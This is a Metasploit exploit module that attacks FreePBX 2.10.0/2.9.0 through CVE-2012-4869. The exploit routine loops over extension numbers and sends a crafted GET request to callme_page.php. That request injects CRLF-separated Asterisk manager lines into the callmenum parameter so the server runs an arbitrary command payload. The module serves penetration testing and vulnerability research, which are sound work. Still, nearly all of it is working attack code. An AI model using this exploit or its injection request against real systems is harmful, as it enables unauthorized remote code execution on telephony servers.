FreePBX 2.10.0 / 2.9.0 callmenum Remote Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'FreePBX 2.10.0 / 2.9.0 callmenum Remote Code Execution',
        'Description' => %q{
          This module exploits FreePBX version 2.10.0,2.9.0 and possibly older.
          Due to the way callme_page.php handles the 'callmenum' parameter, it
          is possible to inject code to the '$channel' variable in function
          callme_startcall in order to gain remote code execution.

          Please note in order to use this module properly, you must know the
          extension number, which can be enumerated or bruteforced, or you may
          try some of the default extensions such as 0 or 200.  Also, the call
          has to be answered (or go to voice).

          Tested on both Elastix and FreePBX ISO image installs.
        },
        'Author' => [ 'muts', 'Martin Tschirsich' ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2012-4869' ],
          [ 'OSVDB', '80544' ],
          [ 'EDB', '18649' ]
        ],
        'Platform' => ['unix'],
        'Arch' => ARCH_CMD,
        'Privileged' => false,
        'Payload' => {
          'Space' => 1024,
          'DisableNops' => true,
        },
        'Targets' => [
          [ 'Automatic Target', {}]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2012-03-20',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new("EXTENSION", [ true, "A range of Local extension numbers", "0-100" ]),
      ]
    )
  end

  def exploit
    # Check range input
    if datastore['EXTENSION'] =~ /^(\d+)\-(\d+)$/
      min = $1.to_i
      max = $2.to_i
    else
      print_error("Please specify a range for option 'EXTENSION'")
      return
    end

    cmd = Rex::Text.uri_encode(payload.encoded)

    (min..max).each do |e|
      connect
      print_status("#{Rex::Socket.to_authority(rhost, rport)} - Sending evil request with range #{e.to_s}")
      res = send_request_raw({
        'method' => 'GET',
        'uri' => "/recordings/misc/callme_page.php?action=c&callmenum=" + e.to_s + "@from-internal/n%0D%0AApplication:%20system%0D%0AData:%20#{cmd}%0D%0A%0D%0A",
        'version' => '1.0',
        'vhost' => rhost
      })
      handler
      disconnect
    end
  end
end